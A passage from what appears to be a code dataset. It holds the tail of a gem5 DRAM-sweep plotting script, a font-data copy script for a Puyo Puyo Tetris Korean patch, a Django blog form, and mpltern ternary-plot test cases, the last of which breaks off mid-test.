peak_bw = []\n bus_util = []\n avg_pwr = []\n\n for line in stats:\n match = re.match(\".*busUtil\\s+(\\d+\\.\\d+)\\s+#.*\", line)\n if match:\n bus_util.append(float(match.groups(0)[0]))\n\n match = re.match(\".*peakBW\\s+(\\d+\\.\\d+)\\s+#.*\", line)\n if match:\n peak_bw.append(float(match.groups(0)[0]))\n\n match = re.match(\".*averagePower\\s+(\\d+\\.?\\d*)\\s+#.*\", line)\n if match:\n avg_pwr.append(float(match.groups(0)[0]))\n stats.close()\n\n # Sanity check\n if not (len(peak_bw) == len(bus_util) and len(bus_util) == len(avg_pwr)):\n print(\n \"Peak bandwidth, bus utilisation, and average power do not match\"\n )\n exit(-1)\n\n # Collect the selected metric as our Z-axis, we do this in a 2D\n # grid corresponding to each iteration over the various stride\n # sizes.\n z = []\n zs = []\n i = 0\n\n for j in range(len(peak_bw)):\n if mode == \"u\":\n z.append(bus_util[j])\n elif mode == \"p\":\n z.append(avg_pwr[j])\n elif mode == \"e\":\n # avg_pwr is in mW, peak_bw in MiByte/s, bus_util in percent\n z.append(avg_pwr[j] / (bus_util[j] / 100.0 * peak_bw[j] / 1000.0))\n else:\n print(f\"Unexpected mode {mode}\")\n exit(-1)\n\n i += 1\n # If we have completed a sweep over the stride sizes,\n # start anew\n if i == max_size / burst_size:\n zs.append(z)\n z = []\n i = 0\n\n # We should have a 2D grid with as many columns as banks\n if len(zs) != banks:\n print(\"Unexpected number of data points in stats output\")\n exit(-1)\n\n fig = plt.figure()\n ax = fig.gca(projection=\"3d\")\n X = np.arange(burst_size, max_size + 1, burst_size)\n Y = np.arange(1, banks + 1, 1)\n X, Y = np.meshgrid(X, Y)\n\n # the values in the util are banks major, so we see groups for each\n # stride size in order\n Z = np.array(zs)\n\n surf = ax.plot_surface(\n X,\n Y,\n Z,\n rstride=1,\n cstride=1,\n cmap=cm.coolwarm,\n linewidth=0,\n antialiased=False,\n )\n\n # Change the tick frequency to 64\n start, end = ax.get_xlim()\n ax.xaxis.set_ticks(np.arange(start, end + 1, 64))\n\n ax.set_xlabel(\"Bytes per activate\")\n ax.set_ylabel(\"Banks\")\n\n if mode == \"u\":\n ax.set_zlabel(\"Utilisation (%)\")\n elif mode == \"p\":\n ax.set_zlabel(\"Power (mW)\")\n elif mode == \"e\":\n ax.set_zlabel(\"Power efficiency (mW / GByte / s)\")\n\n # Add a colorbar\n fig.colorbar(surf, shrink=0.5, pad=0.1, aspect=10)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gem5/gem5","sub_path":"util/plot_dram/dram_sweep_plot.py","file_name":"dram_sweep_plot.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","stars":1196,"dataset":"github-code","pt":"78"} +{"seq_id":"28615538856","text":"import argparse\nimport glob\nfrom locale import getdefaultlocale\nfrom os import pardir, sep\nfrom os.path import isdir, abspath\nfrom os.path import join as path_join\nfrom subprocess import Popen, PIPE\nfrom shutil import copytree, rmtree\n\nfrom app.utils.io import print_process\n\nCONSOLE_ENCODING = getdefaultlocale()[1]\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"copy font related files recursively\"\n )\n parser.add_argument(\n \"-s\",\n \"--source_path\",\n help=\"path of source directory\",\n required=True,\n )\n parser.add_argument(\n \"-d\",\n \"--destination_path\",\n help=\"path of destination directory\",\n required=True\n )\n\n args = parser.parse_args()\n\n source_path = abspath(args.source_path)\n destination_path = abspath(args.destination_path)\n\n all_files = glob.glob(path_join(destination_path, \"**\", \"*.mtx\"), recursive=True)\n for file in all_files:\n rel_file = abspath(file)[len(destination_path):]\n dir_prefix = rel_file[:-len(\"English.mtx\")]\n dir_prefix_a = sep.join(dir_prefix.split(sep)[:-1])\n dir_prefix_b = dir_prefix[len(dir_prefix_a) + 1:]\n extracted_dirs = glob.glob(path_join(source_path + dir_prefix_a, \"**\", f\"{dir_prefix_b}*English.narc_narc_extracted\"), recursive=True)\n for extracted_dir in extracted_dirs:\n rel_extracted_dir = abspath(extracted_dir)[len(source_path):]\n print(f\"[-] Copy {source_path + rel_extracted_dir} to {destination_path + rel_extracted_dir}\")\n if isdir(destination_path + rel_extracted_dir):\n rmtree(destination_path + rel_extracted_dir)\n copytree(source_path + rel_extracted_dir, destination_path + rel_extracted_dir)\n \n ","repo_name":"yf-dev/puyopuyotetris-kor","sub_path":"copy_font_data_r.py","file_name":"copy_font_data_r.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"78"} +{"seq_id":"19496871815","text":"from django import forms\nfrom blog.models import BlogPost\nfrom django.utils.text import slugify\n\nclass BlogPostForm(forms.ModelForm):\n class Meta:\n model = BlogPost\n fields = ('title', 'content', 'preview', 'is_published', 'views')\n labels = {\n 'title': 'Заголовок',\n 'content': 'Содержимое',\n 'preview': 'Изображение',\n 'is_published': 'Дата создания',\n 'views': 'Количество просмотров'\n }\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n instance.slug = slugify(self.cleaned_data['title'])\n if commit:\n instance.save()\n return instance","repo_name":"evgen-minin/mailing-management-service","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73893586172","text":"import inspect\n\nimport numpy as np\n\nimport pytest\nimport matplotlib as mpl\nfrom matplotlib.testing.decorators import (\n image_comparison, check_figures_equal)\nimport matplotlib.pyplot as plt\nfrom mpltern.datasets import (\n get_spiral, get_scatter_points, get_triangular_grid)\n\n\ndef fix_text_kerning_factor():\n # `text.kerning_factor` introduced since Matplotlib 3.2.0, changes default\n # text positions. To be compatible with baseline_images, the old behavior\n # is restored.\n if 'text.kerning_factor' in plt.rcParams:\n plt.rcParams['text.kerning_factor'] = 6\n\n\n@image_comparison(baseline_images=['plot'], extensions=['pdf'], style='mpl20')\ndef test_plot():\n \"\"\"Test if `plot` works as expected.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2)\n\n\n# In Matplotlib, it is NOT allowed to exchange `x` and `y` in `ax.plot` even\n# when specifying them as keyword arguments. Following this behavior, in\n# `mpltern`, the order of `t`, `l`, `r` must not be able to exchange.\n# The following tests must, therefore, return errors.\n\n# class TestArgumentOrder:\n# # Confirm that the argument order does not affect the plots.\n# @check_figures_equal(extensions=['pdf'])\n# def test_argument_order_1(self, fig_test, fig_ref):\n# t, l, r = get_spiral()\n# fig_test = plt.figure()\n# ax = fig_test.add_subplot(111, projection='ternary')\n# ax.plot(r=r, l=l, t=t)\n# fig_ref = plt.figure()\n# ax = fig_ref.add_subplot(111, projection='ternary')\n# ax.plot(t, l, r)\n#\n# # Confirm that the plot is the same even if we have kwargs first.\n# @check_figures_equal(extensions=['pdf'])\n# def test_argument_order_2(self, fig_test, fig_ref):\n# t, l, r = get_spiral()\n# fig_test = plt.figure()\n# ax = fig_test.add_subplot(111, projection='ternary')\n# ax.plot(c='C1', r=r, l=l, t=t)\n# fig_ref = plt.figure()\n# ax = fig_ref.add_subplot(111, projection='ternary')\n# ax.plot(t, l, r, c='C1')\n\n\n@check_figures_equal(extensions=('pdf',))\ndef test_data(fig_ref, fig_test):\n \"\"\"Test if the `data` argument works correctly.\"\"\"\n tn0, tn1, tn2 = get_spiral()\n\n ax = fig_test.add_subplot(projection='ternary')\n data = {'tn0': tn0, 'tn1': tn1, 'tn2': tn2}\n ax.plot('tn0', 'tn1', 'tn2', data=data)\n\n ax = fig_ref.add_subplot(projection='ternary')\n ax.plot(tn0, tn1, tn2)\n\n\ndef test_data_with_five_arguments():\n \"\"\"Test if data with 5 arguments raise ValueError.\n\n With data, the number of positional arguments must be 3 or 4.\n \"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n tn0, tn1, tn2 = get_spiral()\n data = {'tn0': tn0, 'tn1': tn1, 'tn2': tn2}\n with pytest.raises(ValueError):\n ax.plot('tn0', 'tn1', 'tn2', 'foo', 'bar', data=data)\n\n\nclass TestArguments:\n @image_comparison(baseline_images=['arguments_6'], extensions=['pdf'],\n style='mpl20')\n def test_arguments_6(self):\n \"\"\"Test if 6 arguments are parsed correctly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2, tn1, tn2, tn0)\n\n @image_comparison(baseline_images=['arguments_7'], extensions=['pdf'],\n style='mpl20')\n def test_arguments_7(self):\n \"\"\"Test if 7 arguments are parsed correctly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2, 'C3:', tn1, tn2, tn0)\n\n def test_no_arguments(self):\n \"\"\"Test if `plot` with no arguments returns an empty list.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n lines = ax.plot()\n assert lines == []\n\n\nclass TestTransform:\n @image_comparison(baseline_images=['transAxes'], extensions=['pdf'],\n style='mpl20')\n def test_tranform_1(self):\n \"\"\"Test if `plot` recognizes and handle `ax.transAxes` as expected.\"\"\"\n fig_test = plt.figure()\n ax = fig_test.add_subplot(111, projection='ternary')\n ax.plot([0, 1], [0, 1], transform=ax.transAxes)\n\n\nclass TestAxisLabelPosition:\n positions = ['corner', 'tick1', 'tick2']\n baseline_images_list = [[f'axis_label_position_{p}'] for p in positions]\n\n @pytest.mark.parametrize('position, baseline_images',\n zip(positions, baseline_images_list))\n @image_comparison(baseline_images=None, extensions=['pdf'], style='mpl20')\n def test_axis_label_position(self, position, baseline_images):\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n ax.taxis.set_label_position(position)\n ax.laxis.set_label_position(position)\n ax.raxis.set_label_position(position)\n\n\nclass TestTitle:\n locs = ['center', 'left', 'right']\n baseline_images_list = [[f'titie_{loc}'] for loc in locs]\n\n @pytest.mark.parametrize('loc, baseline_images',\n zip(locs, baseline_images_list),)\n @image_comparison(baseline_images=None, extensions=['pdf'], style='mpl20')\n def test_title_loc(self, loc, baseline_images):\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_title(\"Title\", loc=loc)\n\n\n@image_comparison(baseline_images=['aspect'], extensions=['pdf'],\n style='mpl20')\ndef test_aspect():\n \"\"\"Test if `set_aspect` works.\"\"\"\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.plot(*get_spiral())\n\n ax.set_aspect(1.5)\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n\n@image_comparison(baseline_images=['tick_labels_inside_triangle'],\n extensions=['pdf'], style='mpl20')\ndef test_tick_labels_inside_triangle():\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n ax.grid()\n\n ax.tick_params(tick1On=False, tick2On=False)\n\n # By setting ``labelrotation='manual'``, automatic rotation and alignment\n # for tick labels are prohibited.\n ax.taxis.set_tick_params(labelrotation=('manual', 0.0))\n ax.laxis.set_tick_params(labelrotation=('manual', -60.0))\n ax.raxis.set_tick_params(labelrotation=('manual', 60.0))\n\n # Then, ``Text`` properties you like can be passed directly by ``update``.\n kwargs = {\n 'y': 0.5, 'ha': 'center', 'va': 'center', 'rotation_mode': 'anchor'}\n tkwargs = {'transform': ax.get_taxis_transform()}\n lkwargs = {'transform': ax.get_laxis_transform()}\n rkwargs = {'transform': ax.get_raxis_transform()}\n tkwargs.update(kwargs)\n lkwargs.update(kwargs)\n rkwargs.update(kwargs)\n [text.update(tkwargs) for text in ax.taxis.get_ticklabels()]\n [text.update(lkwargs) for text in ax.laxis.get_ticklabels()]\n [text.update(rkwargs) for text in ax.raxis.get_ticklabels()]\n\n\nclass TestTicks:\n @image_comparison(baseline_images=['opposite_ticks'], extensions=['pdf'],\n style='mpl20')\n def test_opposite_ticks(self):\n \"\"\"Test if \"tick2\" works.\n\n \"tick2\" should change the positions of tick-markers, tick-labels, and\n axis-labels but should not change data points.\n \"\"\"\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n ax.taxis.set_ticks_position('tick2')\n ax.laxis.set_ticks_position('tick2')\n ax.raxis.set_ticks_position('tick2')\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n @image_comparison(baseline_images=['negative_ticks'],\n extensions=['pdf'], style='mpl20')\n def test_negative_ticks(self):\n \"\"\"\n The previous algorithm for tick-marker rotations did not work as\n expected because it relied on the data coordinates while the sign\n change of x- and/or y-coordinates happened when changing the view\n limits. This should be now fixed by relying not on the data coordiantes\n but on the axes coordinates, and hence it should pass this test.\n \"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(0, 3, -3)\n\n @image_comparison(baseline_images=['manual_ticks'],\n extensions=['pdf'], style='mpl20')\n def test_manual_ticks(self):\n \"\"\"Test if ticks can be manually given.\"\"\"\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n ax.plot(*get_spiral())\n\n ax.grid()\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n # Specify tick positions manually.\n ax.taxis.set_ticks([0.2, 0.4, 0.6, 0.8, 1.0])\n ax.laxis.set_ticks([0.2, 0.4, 0.6, 0.8, 1.0])\n ax.raxis.set_ticks([0.2, 0.4, 0.6, 0.8, 1.0])\n\n @image_comparison(baseline_images=['manual_ticklabels'],\n extensions=['pdf'], style='mpl20')\n def test_manual_ticklabels(self):\n \"\"\"Test if tick-labels can be manually given.\"\"\"\n fix_text_kerning_factor()\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n # Specify tick positions manually.\n ticks = [0.0, 0.2, 0.4, 0.6, 0.8, 1.0]\n labels = [\"0/5\", \"1/5\", \"2/5\", \"3/5\", \"4/5\", \"5/5\"]\n ax.taxis.set_ticks(ticks, labels=labels)\n ax.laxis.set_ticks(ticks, labels=labels)\n ax.raxis.set_ticks(ticks, labels=labels)\n\n @mpl.style.context(\"default\")\n @check_figures_equal(extensions=('pdf',))\n def test_number_of_ticks(self, fig_test, fig_ref):\n \"\"\"\n Test if the number of ticks are automatically properly adjusted.\n\n It is necessary to switch the style to \"default\" because the \"classic\"\n style gives a different result.\n \"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.0, 0.2, 0.0, 1.0, 0.0, 1.0)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.0, 0.2, 0.0, 1.0, 0.0, 1.0)\n ax.taxis.set_ticks([0.0, 0.1, 0.2])\n\n\n@check_figures_equal(extensions=('pdf',))\ndef test_ternary_sum(fig_test, fig_ref):\n \"\"\"Test if the `ternary_sum` argument works correctly.\"\"\"\n ax = fig_test.add_subplot(projection='ternary', ternary_sum=0.5)\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2)\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n ax = fig_ref.add_subplot(projection='ternary')\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2)\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n ticks = [0.0, 0.2, 0.4, 0.6, 0.8, 1.0]\n ticklabels = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5]\n ax.taxis.set_ticks(ticks, ticklabels)\n ax.laxis.set_ticks(ticks, ticklabels)\n ax.raxis.set_ticks(ticks, ticklabels)\n\n\nclass TestTernaryLim:\n @check_figures_equal(extensions=('pdf',))\n def test_order_data(self, fig_test, fig_ref):\n \"\"\"\n Check that the order of `plot` and `set_ternary_lim` does not affect\n the result.\n \"\"\"\n tn0, tn1, tn2 = get_spiral()\n\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(\n 0.1, 0.5, # tmin, tmax\n 0.2, 0.6, # lmin, lmax\n 0.3, 0.7, # rmin, rmax\n )\n ax.plot(tn0, tn1, tn2)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.plot(tn0, tn1, tn2)\n ax.set_ternary_lim(\n 0.1, 0.5, # tmin, tmax\n 0.2, 0.6, # lmin, lmax\n 0.3, 0.7, # rmin, rmax\n )\n\n @check_figures_equal(extensions=('pdf',))\n def test_order_axes(self, fig_test, fig_ref):\n tn0, tn1, tn2 = get_spiral()\n\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.1, 0.7, 0.1, 0.6, 0.1, 0.5)\n ax.plot(tn0, tn1, tn2)\n ax.plot(tn0, tn1, tn2, \"k\", transform=ax.transTernaryAxes)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.plot(tn0, tn1, tn2)\n ax.plot(tn0, tn1, tn2, \"k\", transform=ax.transTernaryAxes)\n ax.set_ternary_lim(0.1, 0.7, 0.1, 0.6, 0.1, 0.5)\n\n @check_figures_equal(extensions=('pdf',))\n def test_order_limits(self, fig_test, fig_ref):\n \"\"\"Test if the plot is insensitive to the orders of limits.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.1, 0.7, 0.1, 0.6, 0.1, 0.5)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.7, 0.1, 0.6, 0.1, 0.5, 0.1)\n\n @check_figures_equal(extensions=('pdf',))\n def test_min_vs_max(self, fig_test, fig_ref):\n \"\"\"Test if ternary_min and ternary_max give the same result.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_ternary_min(0.1, 0.2, 0.3)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_ternary_max(0.5, 0.6, 0.7)\n\n @pytest.mark.parametrize(\n \"fit, baseline_images\", [\n [\"rectangle\", [\"fit_rectangle\"]],\n [\"triangle\", [\"fit_triangle\"]],\n [\"none\", [\"fit_none\"]],\n ],\n )\n @image_comparison(\n baseline_images=None,\n extensions=['pdf'],\n remove_text=True,\n style='mpl20',\n )\n def test_fit(self, fit: str, baseline_images):\n \"\"\"Test if hexagonal limits are properly plotted.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"ternary\")\n tn0, tn1, tn2 = get_spiral()\n ax.plot(tn0, tn1, tn2, \"C0\")\n ax.plot(tn0, tn1, tn2, \"k\", transform=ax.transTernaryAxes)\n ax.set_facecolor(\"0.9\")\n ax.grid(True)\n ax.set_ternary_lim(0.1, 0.7, 0.1, 0.6, 0.1, 0.5, fit)\n\n @pytest.mark.parametrize(\"fit\", [\"rectangle\", \"triangle\", \"none\"])\n @check_figures_equal(extensions=('pdf',))\n def test_ternary_lim_vs_tlrlims_0(self, fig_test, fig_ref, fit):\n \"\"\"Test if the plot is insensitive to the orders of limits.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_tlim(0.1, 0.5, fit)\n ax.set_llim(0.2, 0.6, fit)\n ax.set_rlim(0.3, 0.7, fit)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.1, 0.5, 0.2, 0.6, 0.3, 0.7, fit)\n\n @pytest.mark.parametrize(\"fit\", [\"rectangle\", \"triangle\", \"none\"])\n @check_figures_equal(extensions=('pdf',))\n def test_ternary_lim_vs_tlrlims_1(self, fig_test, fig_ref, fit):\n \"\"\"Test if the plot is insensitive to the orders of limits.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.set_tlim(0.1, 0.7, fit)\n ax.set_llim(0.1, 0.6, fit)\n ax.set_rlim(0.1, 0.5, fit)\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_ternary_lim(0.1, 0.7, 0.1, 0.6, 0.1, 0.5, fit)\n\n\nclass TestSpans:\n \"\"\"Tests related to spans.\"\"\"\n @image_comparison(\n baseline_images=['spans'],\n extensions=['pdf'],\n remove_text=True,\n style='mpl20',\n )\n def test_spans(self):\n \"\"\"Test if spans are plotted properly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"ternary\")\n\n ax.axtline(0.2, c='C0')\n ax.axlline(0.3, c='C1')\n ax.axrline(0.4, c='C2')\n\n ax.axtspan(0.3, 0.5, fc='C0', alpha=0.2)\n ax.axlspan(0.4, 0.6, fc='C1', alpha=0.2)\n ax.axrspan(0.5, 0.7, fc='C2', alpha=0.2)\n\n def test_axtline_transform(self):\n \"\"\"Test if `axtline` raises `ValueError` when getting `transform`\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"ternary\")\n with pytest.raises(ValueError):\n ax.axtline(0.5, transform=ax.transAxes)\n\n def test_axlline_transform(self):\n \"\"\"Test if `axlline` raises `ValueError` when getting `transform`\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"ternary\")\n with pytest.raises(ValueError):\n ax.axlline(0.5, transform=ax.transAxes)\n\n def test_axrline_transform(self):\n \"\"\"Test if `axrline` raises `ValueError` when getting `transform`\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"ternary\")\n with pytest.raises(ValueError):\n ax.axrline(0.5, transform=ax.transAxes)\n\n\nclass TestTickDirection:\n directions = ['in', 'out', 'inout']\n baseline_images_list = [[f'tick_direction_{d}'] for d in directions]\n\n @pytest.mark.parametrize('direction, baseline_images',\n zip(directions, baseline_images_list))\n @image_comparison(baseline_images=None, extensions=['pdf'], style='mpl20')\n def test_tick_direction(self, direction, baseline_images):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.tick_params(direction=direction)\n\n\nclass TestAxisLabels:\n \"\"\"Test if ternary axis labels are assigned properly.\"\"\"\n def test_tlabel(self):\n \"\"\"Test if the t-axis label is assigned properly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n label = \"T\"\n ax.set_tlabel(label)\n assert ax.get_tlabel() == label\n\n def test_llabel(self):\n \"\"\"Test if the l-axis label is assigned properly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n label = \"L\"\n ax.set_llabel(label)\n assert ax.get_llabel() == label\n\n def test_rlabel(self):\n \"\"\"Test if the r-axis label is assigned properly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n label = \"R\"\n ax.set_rlabel(label)\n assert ax.get_rlabel() == label\n\n\nclass TestAxLine:\n @check_figures_equal(extensions=('pdf',))\n def test_axline(self, fig_test, fig_ref):\n ax = fig_test.add_subplot(projection='ternary')\n ax.axline((1.0, 0.0, 0.0), (0.0, 0.5, 0.5))\n\n ax = fig_ref.add_subplot(projection='ternary')\n ax.plot([1.0, 0.0], [0.0, 0.5], [0.0, 0.5])\n\n @check_figures_equal(extensions=('pdf',))\n def test_axline_slope(self, fig_test, fig_ref):\n ax = fig_test.add_subplot(projection='ternary')\n ax.axline((1.0, 0.0, 0.0), slope=(-1.0, 0.5, 0.5))\n\n ax = fig_ref.add_subplot(projection='ternary')\n ax.plot([1.0, 0.0], [0.0, 0.5], [0.0, 0.5])\n\n @check_figures_equal(extensions=('pdf',))\n def test_axline_axes(self, fig_test, fig_ref):\n ax = fig_test.add_subplot(projection='ternary')\n ax.set_ternary_min(0.1, 0.2, 0.3)\n ax.axline(\n (1.0, 0.0, 0.0),\n (0.0, 0.5, 0.5),\n transform=ax.transTernaryAxes,\n )\n\n ax = fig_ref.add_subplot(projection='ternary')\n ax.set_ternary_min(0.1, 0.2, 0.3)\n ax.plot([0.5, 0.1], [0.2, 0.4], [0.3, 0.5])\n\n @check_figures_equal(extensions=('pdf',))\n def test_axline_axes_slope(self, fig_test, fig_ref):\n ax = fig_test.add_subplot(projection='ternary')\n ax.set_ternary_min(0.1, 0.2, 0.3)\n ax.axline(\n (1.0, 0.0, 0.0),\n slope=(-1.0, 0.5, 0.5),\n transform=ax.transTernaryAxes,\n )\n\n ax = fig_ref.add_subplot(projection='ternary')\n ax.set_ternary_min(0.1, 0.2, 0.3)\n ax.plot([0.5, 0.1], [0.2, 0.4], [0.3, 0.5])\n\n def test_axline_args(self):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n with pytest.raises(TypeError):\n ax.axline((1, 0, 0)) # missing second parameter\n with pytest.raises(TypeError):\n # redundant parameters\n ax.axline((1.0, 0.0, 0.0), (0.0, 0.5, 0.5), slope=(-1.0, 0.5, 0.5))\n with pytest.raises(ValueError):\n ax.axline((1, 0, 0), slope=1)\n with pytest.raises(ValueError):\n # two identical points are not allowed\n ax.axline((1, 0, 0), (1, 0, 0))\n plt.draw()\n\n\n@image_comparison(baseline_images=['text'], extensions=['pdf'], style='mpl20')\ndef test_text():\n \"\"\"Test if text is plotted correctly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n v = 1.0 / 3.0\n ax.text(v, v, v, 'center', ha='center', va='center')\n\n\nclass TestScatter:\n @image_comparison(baseline_images=['scatter'], extensions=['pdf'],\n tol=1.0, style='mpl20')\n def test_scatter(self):\n tn0, tn1, tn2 = get_scatter_points()\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.scatter(tn0, tn1, tn2)\n\n @image_comparison(baseline_images=['scatter_color'], extensions=['pdf'],\n tol=1.0, style='mpl20')\n def test_scatter_color(self):\n fix_text_kerning_factor()\n\n tn0, tn1, tn2 = get_scatter_points()\n fig = plt.figure()\n fig.subplots_adjust(left=0.075, right=0.85)\n ax = fig.add_subplot(111, projection='ternary')\n sc = ax.scatter(tn0, tn1, tn2, c=range(len(tn0)))\n cax = ax.inset_axes([1.05, 0.1, 0.05, 0.9], transform=ax.transAxes)\n colorbar = fig.colorbar(sc, cax=cax)\n colorbar.set_label('Count', rotation=270, va='baseline')\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n\nclass TestArrow:\n @image_comparison(baseline_images=['arrow_data'], extensions=['pdf'],\n style='mpl20')\n def test_arrow_data(self):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.arrow(0.2, 0.2, 0.8, 0.6, 0.0, -0.6)\n\n @image_comparison(baseline_images=['arrow_axes'], extensions=['pdf'],\n style='mpl20')\n def test_arrow_axes(self):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.arrow(0.2, 0.2, 0.8, 0.6, 0.0, -0.6, transform=ax.transTernaryAxes)\n\n @image_comparison(baseline_images=['arrow_xy_data'], extensions=['pdf'],\n style='mpl20')\n def test_arrow_xy_data(self):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.arrow(-0.3, 0.2, 0.6, 0.6, transform=ax.transData)\n\n @image_comparison(baseline_images=['arrow_xy_axes'], extensions=['pdf'],\n style='mpl20')\n def test_arrow_xy_axes(self):\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.arrow(0.2, 0.2, 0.6, 0.6, transform=ax.transAxes)\n\n\nclass TestQuiver:\n @image_comparison(baseline_images=['quiver'], extensions=['pdf'],\n style='mpl20')\n def test_quiver(self):\n tn0, tn1, tn2 = get_triangular_grid()\n dtn0 = 1.0 / 3.0 - tn0\n dtn1 = 1.0 / 3.0 - tn1\n dtn2 = 1.0 / 3.0 - tn2\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.quiver(tn0, tn1, tn2, dtn0, dtn1, dtn2)\n\n @image_comparison(baseline_images=['quiver_color'], extensions=['pdf'],\n tol=0.3, style='mpl20')\n def test_quiver_color(self):\n fix_text_kerning_factor()\n\n tn0, tn1, tn2 = get_triangular_grid()\n dtn0 = 1.0 / 3.0 - tn0\n dtn1 = 1.0 / 3.0 - tn1\n dtn2 = 1.0 / 3.0 - tn2\n length = np.sqrt(dtn0**2 + dtn1**2 + dtn2**2)\n fig = plt.figure()\n fig.subplots_adjust(left=0.075, right=0.85)\n ax = fig.add_subplot(projection='ternary')\n pc = ax.quiver(tn0, tn1, tn2, dtn0, dtn1, dtn2, length)\n cax = ax.inset_axes([1.05, 0.1, 0.05, 0.9], transform=ax.transAxes)\n colorbar = fig.colorbar(pc, cax=cax)\n colorbar.set_label('Length', rotation=270, va='baseline')\n\n ax.set_tlabel('Top')\n ax.set_llabel('Left')\n ax.set_rlabel('Right')\n\n @image_comparison(baseline_images=['quiver_xy_data'], extensions=['pdf'],\n style='mpl20')\n def test_quiver_xy_data(self):\n x = np.linspace(-0.5, 0.5, 11)\n y = np.linspace(+0.0, 1.0, 11)\n x, y = np.meshgrid(x, y)\n dx = -x\n dy = 0.5 - y\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.quiver(x, y, dx, dy, transform=ax.transData)\n\n @image_comparison(baseline_images=['quiver_xy_axes'], extensions=['pdf'],\n style='mpl20')\n def test_quiver_xy_axes(self):\n x = np.linspace(0, 1, 11)\n y = np.linspace(0, 1, 11)\n x, y = np.meshgrid(x, y)\n 